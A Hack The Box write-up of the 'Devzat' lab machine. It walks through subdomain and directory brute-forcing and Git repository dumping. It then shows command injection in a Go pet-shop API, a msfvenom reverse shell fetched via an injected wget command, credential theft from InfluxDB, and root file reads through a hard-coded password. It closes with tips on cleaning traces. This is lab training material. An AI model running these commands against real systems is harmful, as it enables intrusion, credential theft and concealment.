Overview
Welcome to Devzat machine from Hack The Box! The general theme of this machine is only Golang code exploitation, with a tip here and a trick there - nothing special in particular.
We’re going to have lots to cover, so let’s get going.
I. Reconnaisance
1. Port scan
tl;dr: Do port scan, check the opening services.Before start with a port scan, I tried to open the address in a browser first:
So let’s add this line to our /etc/hosts
file real quick:
10.10.11.118 devzat.htb
And run the port scan.
# Nmap 7.92 scan initiated Sun Feb 27 03:27:07 2022 as: nmap -sC -sV -oN nmap-rescan-after-add-hosts.txt devzat.htb
Nmap scan report for devzat.htb (10.10.11.118)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: devzat - where the devs at
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=2/27%Time=621B35FB%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 27 03:28:14 2022 -- 1 IP address (1 host up) scanned in 66.71 seconds
Reload the web page, here’s what was shown.
You can see the full landing page here, but to come to the point here’s what it told us to do:
At this point I got curious about what Devzat
is, so I searched it up:
It turned out to be an open-source chat service, run over SSH and created in Golang. They even have a public server at devzat.hackclub.com!
2. Play with chat service
Upon connecting to port 80 for the first time, the server slapped an error in my face:
$ ssh -l aki devzat.htb -p 8000
Unable to negotiate with 10.10.11.118 port 8000: no matching host key type found. Their offer: ssh-rsa
If you wonder what was the problem’s root, please refer to this AskUbuntu question. Briefly, we need to modify the given command a bit:
I quickly picked up the chat functions, mainly because it’s quite like Discord. Take a look at the service in action:
However, no where in this service looked vulnerable, not even in Github changelogs
, any public exploit nor customization. But keep this service in mind as it will prove to be useful in privilege escalating section.
II. User flag
1. Subdomain exploration
tl;dr: Brute force and discover a subdomain with wfuzz
Come to think of it, a web service calling for amendment in /etc/hosts
must hide something in its subdomains. Therefore, I hammered it.
wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://devzat.htb" -H "Host: FUZZ.devzat.htb" --hc 301,302
After a few minutes, something novel was returned:
Let’s also add that to /etc/hosts
:
10.10.11.118 pets.devzat.htb
Navigate there in a browser, and here’s the outcome:
At the bottom of that page, there was a pet adding function:
Without much notion about what to do, I tried to insert a wildcard there, thinking it would cause a SQL wildcard attack.
Looking into Burp Suite, the request looks somewhat like this:
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"name":"*",
"species":"*"
}
Inspite of that, other forms of SQL injection didn’t work. Consequently, I gave up the SQL injection path and look for other attack vectors.
2. Git repository reconstruction
tl;dr: Discover a Git repository and see to its source codeFollowing my nose, I started a brute force scan with Gobuster.
See that error at the end? It meant the server was tricking us by returning HTTP status 200
for every requests. For that reason, let’s exlude all those fake responses and run the scan once again.
gobuster dir -u http://pets.devzat.htb/ -t 20 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt --exclude-length 510
Nice. We’re forbidden to access the /server-status
endpoint, but look at that .git
! That’s a whole gold mine waiting to be explored!
You can see for yourself the exposed .git
folder pentesting method on Pentest Monkey blog. For now, just bear in mind that you can reconstruct a whole Git repository from only .git
folder. Here is an instruction:
- Step 1. Download the needed script:
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
- Step 2. Run the script:
bash gitdumper.sh http://pets.devzat.htb/.git/ ./pets
- Step 3. Run
git checkout -- .
to recover the Git repository. - Step 4. Profit.
Simple and easy, right?
A minor notice - up to this point I had had no prior experience with Golang whatsoever. But somehow the Go syntax still made sense to me, and this function specifically caught my attention:
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
Looking at that exec.Command
, one cannot help but to think of a OS command injection!
;id
on the pets site
It worked! And what’s more - the user running this web app was not www-data
! That saved us a phase of privilege escalation.
3. Acquiring foothold
tl;dr: Leverage limited RCE to reverse shell using msfvenom
With a somewhat limited RCE in our hand right now, it should be a piece of cake getting a reverse shell and retrieving our user flag!
If only life was that easy.
For some mysterious reasons, all reverse shell commands quickly died right at the moment it managed to call back - no matter it’s bash, python or go, no matter it’s running as a foreground or background process, it just - die. As the last resort, I had to rely on msfvenom, like this:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=9999 -f elf -o reverse.elf
Then load it to the server using:
curl -X POST -d '{"name":"*", "species":"; wget http://<YOUR_IP>/reverse.elf"}' http://pets.devzat.htb/api/pet
Don’t forget to open a HTTP server first:
python3 -m http.server 80
You can see a shell call back in an instant!
$ nc -lvnp 9999
listening on [any] 9999...
connect to [<YOUR_IP>] from (UNKNOWN) [10.10.11.118] 47172
id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
Looking into patrick
’s ~/.ssh
directory, I found his id_rsa
key. Without further ado, I downloaded it, and SSH in (personally I sent it to that previous .git
folder then wget
it there, but how to do this part depends on your creativity).
4. Horizontal privilege escalation
tl;dr: Discover and attack Influx Database to get other users’ credentials
Unfortunately, after all those hassles, the user.txt
flag was still out of our reach - it turned out to be in some other user’s home directory whose username was catherine
.
To give you an overview about our targets, here’s their /etc/passwd
file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
And here are the opening ports.
patrick@devzat:~$ ss -lntup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8086 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:5000 0.0.0.0:* users:(("petshop",pid=855,fd=3))
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 4096 *:8000 *:* users:(("devchat",pid=856,fd=7))
tcp LISTEN 0 511 *:80 *:*
My attention quickly felt on that port 8086
. Checking the processes, there’s also something really shady running on the background.
root 1279 1 0 05:28 ? 00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id bcf2dac78cc0f71f3ae09bb2d70be065cd4bc8df3cfcc6d4c1b070c64f1ba804 -address /run/containerd/containerd.sock
root 1301 1279 0 05:28 ? 00:00:23 \_ influxdb
A SQL-like syntax database - InfluxDB. Looking for public vulnerabilities on ExploitDB yeilded no result. On the other hand, Github actually gave us something:
Instructions are laid out pretty clear on its README. I would also say this is one of the most stable, eye-candy looking shells that I have had a chance to use.
Looking around in the database for a while, I finally got my hand on the million-dollar piece of information.
And it seems like catherine
reused her credentials, because I could easily logged in her account using that password:
patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$ id
uid=1001(catherine) gid=1001(catherine) groups=1001(catherine)
With this, now the user flag is in our hand.
III. LFI - Root flag
tl;dr: Discover backup and use hard-corded password to get LFI as root
There’s a small side story you need to know: at the time of writing…
CVE-2021-4034
, (in)famously known as the “Pwnkit exploit”, still worked. I will not guide you on this “dark side of the Force” path, but you should be able to pull off the trick if you’ve gotten this far.
If you insists on going the intended exploit path, then first, take a look at the running processes:
root 832 1 0 05:27 ? 00:00:00 /bin/bash /root/devzat/start.sh
root 857 832 0 05:27 ? 00:00:00 \_ ./devchat
Baffling enough, root
was running a devchat
instance! So where was it exposing to?
Out of all opening ports, we can see that port 8443
had the most potential.
Just for personal preference, I forwarded it to my local first.
ssh -i id_rsa -L 8443:127.0.0.1:8443 patrick@devzat.htb
And then connect to it with:
ssh -l aki 127.0.0.1 -p 8443
You can clearly see there’s a weird command deemed as “alpha” in this instance:
At first I thought that would be an obvious local file read vulnerability, but man, if only life was that easy:
aki: /file /root/root.txt
[SYSTEM] You need to provide the correct password to use this function
aki: /file /root/root.txt somepassword
[SYSTEM] You did provide the wrong password
The bad thing is, except from that exact command, nothing else was abnormal.
And it was that moment that an idea suddenly flashed through my mind - will I see others’ messages if I log in with their username?
What about catherine
?
Well, I came looking for copper - but I found gold!
Just a side story, well, no matter how many ctfs I have done, I cannot help but feel a bit illegal reading others’ chat messages, even when it’s fictional…
Moving on, I think we could look for backups with a fairly simple command, like this:
catherine@devzat:~$ find / -name "*backup*" 2>/dev/null
/snap/core18/2128/usr/share/bash-completion/completions/vgcfgbackup
/snap/core18/2128/var/backups
/snap/core18/2074/usr/share/bash-completion/completions/vgcfgbackup
/snap/core18/2074/var/backups
/usr/sbin/vgcfgbackup
/usr/share/man/man8/vgcfgbackup.8.gz
/usr/share/doc/libipc-system-simple-perl/examples/rsync-backup.pl
/usr/share/bash-completion/completions/vgcfgbackup
/usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so
/usr/lib/modules/5.4.0-77-generic/kernel/drivers/net/team/team_mode_activebackup.ko
/usr/lib/modules/5.4.0-77-generic/kernel/drivers/power/supply/wm831x_backup.ko
/usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py
/usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-38.pyc
/usr/src/linux-headers-5.4.0-77/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
/usr/src/linux-headers-5.4.0-77-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-5.4.0-77-generic/include/config/net/team/mode/activebackup.h
/sys/devices/virtual/net/vethbb59ceb/brport/backup_port
/var/backups
Without a doubt, that /var/backups
was absolutely suspicious:
catherine@devzat:~$ cd /var/backups
catherine@devzat:/var/backups$ ls
alternatives.tar.0 apt.extended_states.0 apt.extended_states.1.gz apt.extended_states.2.gz devzat-dev.zip devzat-main.zip dpkg.diversions.0 dpkg.statoverride.0 dpkg.status.0
As you can see, both the main
and dev
version were there. So I opened a simple Python HTTP server and downloaded them onto my machine for further inspection. You can also do the next steps on the remote machine if you want, but you know, that’s just personal preference.
Upon running diff dev main
, a whole bunch of things jumped out.
diff dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
> "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff dev/commands.go main/commands.go
4d3
< "bufio"
6,7d4
< "os"
< "path/filepath"
40d36
< file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
42,101c38
< commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
< }
<
< func fileCommand(u *user, args []string) {
< if len(args) < 1 {
< u.system("Please provide file to print and the password")
< return
< }
<
< if len(args) < 2 {
< u.system("You need to provide the correct password to use this function")
< return
< }
<
< path := args[0]
< pass := args[1]
<
< // Check my secure password
< if pass != "CeilingCatStillAThingIn2021?" {
< u.system("You did provide the wrong password")
< return
< }
<
< // Get CWD
< cwd, err := os.Getwd()
< if err != nil {
< u.system(err.Error())
< }
<
< // Construct path to print
< printPath := filepath.Join(cwd, path)
<
< // Check if file exists
< if _, err := os.Stat(printPath); err == nil {
< // exists, print
< file, err := os.Open(printPath)
< if err != nil {
< u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
< return
< }
< defer file.Close()
<
< scanner := bufio.NewScanner(file)
< for scanner.Scan() {
< u.system(scanner.Text())
< }
<
< if err := scanner.Err(); err != nil {
< u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
< }
<
< return
<
< } else if os.IsNotExist(err) {
< // does not exist, print error
< u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
< return
< }
< // bokred?
< u.system("Something went badly wrong.")
---
> commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
diff dev/devchat.go main/devchat.go
27c27
< port = 8443
---
> port = 8000
114c114
< fmt.Sprintf("127.0.0.1:%d", port),
---
> fmt.Sprintf(":%d", port),
Only in dev: testfile.txt
See the password? Well, to be honest, hard-coded passwords are common in development phase. That being the case, we’ll gratefully use that password and exploit the LFI vulnerability, as root.
At this point you should be able to read the root flag at /root/root.txt
. If instead, you want to go “further and beyond” to get a full-fledged root shell, you can look for “LFI to reverse shell” - there’re ample guides on Google. More creatively, there maybe is a SSH key in /root/.ssh
, or just grab the /etc/shadow
file and start cracking it - it all depends on your imagination.
IV. House cleaning
tl;dr: Clean all traces before secretly leaving1. The id_rsa file in .git
folder
This one is easy. Just delete it from wherever you put it earlier.
2. History and logs
Bash history had been set as symlinks to /dev/null
from the very beginning, so it’s not a concern.
V. Final words
This blog post turned out to be much lenghthier than I expected, but I’ve had lots of fun while learnt a ton along the way - and hopefully, you too!